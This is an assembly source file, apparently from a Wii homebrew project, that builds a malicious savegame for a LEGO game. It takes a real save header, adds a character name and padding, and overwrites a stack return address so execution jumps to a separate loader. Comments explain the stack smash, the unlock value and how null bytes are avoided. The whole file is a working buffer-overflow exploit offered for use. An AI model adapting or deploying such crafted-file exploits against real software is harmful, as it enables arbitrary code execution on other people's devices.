# Copyright 2011 Bernhard Urban # This code is licensed to you under the terms of the GNU GPL, version 2; # see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt retadr = 0x90394140 0: # stolen from some savegame found in teh intertube .incbin "head.b" # give the char a name .ascii "you won't see this " # len = 0x14 # smash it \o/ 0x1f0+0x4 bytes all in all... .fill (0xf4/4), 4, 0x11111111 # unlock the character (somewhere here actually...) .fill (0x10/4), 4, 0x90c10104 # add more padding... .fill (0xdc/4), 4, 0x11111111 # now we at the actual vuln return address # just point to the loader of the loader (= content of exploit.s) .long retadr # alternatively you can put the code here too and jump into the stack, # however then you have to take care for nullbytes in the resulting # bytecode, which is a way too tedious. so we just take the further slot for # it :-) (LEGO devs are nice ppl, heh) .fill 0x10000 - (. - 0b)